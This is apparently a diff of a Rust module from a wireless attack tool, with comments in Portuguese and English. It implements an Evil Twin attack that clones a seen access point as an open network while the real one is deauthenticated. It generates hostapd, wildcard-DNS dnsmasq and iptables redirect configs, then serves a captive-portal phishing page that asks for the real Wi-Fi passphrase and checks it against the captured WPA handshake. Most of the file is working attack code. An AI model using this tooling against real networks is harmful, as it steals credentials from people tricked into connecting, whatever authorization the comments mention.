//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
//! verdade por uma página de "reconectar", como qualquer portal cativo de
//! hotel/aeroporto faz.
//! Evil Twin + captive portal: clones a target AP observed during capture (as an
//! open network with the same SSID) alongside continuous deauthentication of the
//! real AP, presenting a captive portal that prompts for the network passphrase.
//!
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
//! graça**. É conferida na hora contra o handshake real já capturado
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
//! de verdade com a rede. Isso também evita que a página vire um jeito de
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
//!
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
//! explícita das outras abas de ataque.
//!
//! Submitted passphrases are verified immediately against the captured WPA
//! handshake or PMKID ([`crate::crack::CrackTarget::verify`]): the portal only
//! reports success when the passphrase cryptographically matches the target network.
//!
//!
//!
//!
//! Requires an active target from the current capture session and explicit
//! operator authorization.
//!
use crate::crack::CrackTarget;
use std::fmt::Write as _;
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
/// SSID certo, sem perguntar nada ao usuário.
/// Generates the `hostapd` configuration for the open clone AP.
///
///
///
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
@@ -38,10 +38,10 @@ pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>)
out
}
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
/// abrir sozinho no dispositivo da vítima).
/// Generates the `dnsmasq` configuration: serves DHCP on the clone subnet and
/// resolves all DNS queries to the gateway IP so OS captive-portal detection
/// automatically opens the login prompt.
///
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
@@ -49,15 +49,15 @@ pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) ->
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
let _ = writeln!(out, "address=/#/{gateway_ip}"); // wildcard DNS pointing to our gateway
let _ = writeln!(out, "no-resolv");
out
}
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
/// Builds `iptables` rules (one argument list per command) redirecting HTTP
/// traffic from the clone AP subnet to the local captive portal listener.
///
///
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
let redirect = |proto: &str, dport: u16| {
vec![
@@ -80,7 +80,7 @@ pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
vec![redirect("tcp", 80)]
}
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
/// Matching `iptables -D` rules to tear down redirection when the job stops.
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
iptables_rules(iface, portal_port)
.into_iter()
@@ -94,27 +94,27 @@ pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>>
}
fn sanitize_conf_value(value: &str) -> String {
// hostapd.conf não escapa valores — corta quebra de linha, que seria
// injeção de outra diretiva de config.
// Strip newlines and control characters to prevent `hostapd.conf` directive injection.
//
value.replace(['\n', '\r'], "")
}
/// Resultado de uma tentativa de login no portal.
/// Outcome of a captive portal passphrase submission.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PortalAttempt {
/// Senha bateu com o handshake real — confirmado criptograficamente,
/// não é só "aceitar o que a pessoa digitou".
/// Passphrase matched the captured handshake/PMKID.
///
Correct,
WrongPassword,
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
/// Outside valid WPA PSK length (8–63 characters).
InvalidLength,
}
/// Confere a senha submetida no portal contra o handshake real do alvo —
/// mesma verificação criptográfica usada na quebra por dicionário
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
/// cativo legítimo faria com uma senha errada.
/// Verifies a submitted passphrase against the target's captured `CrackTarget`.
///
///
///
///
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
if !(8..=63).contains(&password.len()) {
return PortalAttempt::InvalidLength;
@@ -126,8 +126,8 @@ pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
}
}
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
/// de "reconectar à rede", sem imitar nenhuma marca específica.
/// Renders the captive portal HTML page for the cloned SSID.
///
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
let notice = if wrong_password {
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
@@ -176,12 +176,12 @@ display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0
)
}
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
/// página de login, o que também satisfaz a detecção de portal cativo do
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
/// virar true, ou o accept falhar.
/// Minimal captive portal HTTP server: serves the login page on any `GET`
/// (triggering OS captive-portal popups) and verifies `password=...` on
/// `POST /connect` against `target`. Runs until a valid passphrase is
/// submitted or `stop` is set.
///
///
#[cfg(target_os = "linux")]
pub fn run_portal(
listener: std::net::TcpListener,
@@ -226,8 +226,8 @@ fn handle_connection(
.ok();
let mut buf = vec![0u8; 8192];
let mut total = 0usize;
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
// que um navegador manda pra um form simples.
// Read until the end of HTTP headers and declared `Content-Length`.
//
loop {
let n = stream.read(&mut buf[total..]).ok()?;
if n == 0 {
@@ -286,9 +286,10 @@ fn handle_connection(
found_password
}
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
/// crate de parsing de formulário por causa disso).
/// Extracts a URL-decoded `key=value` field from an `application/x-www-form-urlencoded` body.
///
///
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn form_value(body: &str, key: &str) -> Option<String> {
body.split('&').find_map(|pair| {
let (k, v) = pair.split_once('=')?;
@@ -300,6 +301,7 @@ fn form_value(body: &str, key: &str) -> Option<String> {
})
}
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn url_decode(s: &str) -> String {
let bytes = s.as_bytes();
let mut out = Vec::with_capacity(bytes.len());
@@ -433,7 +435,7 @@ mod tests {
})
});
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
// Brief pause so the listener thread enters `accept()` before the client connects.
std::thread::sleep(std::time::Duration::from_millis(50));
let post = |password: &str| -> String {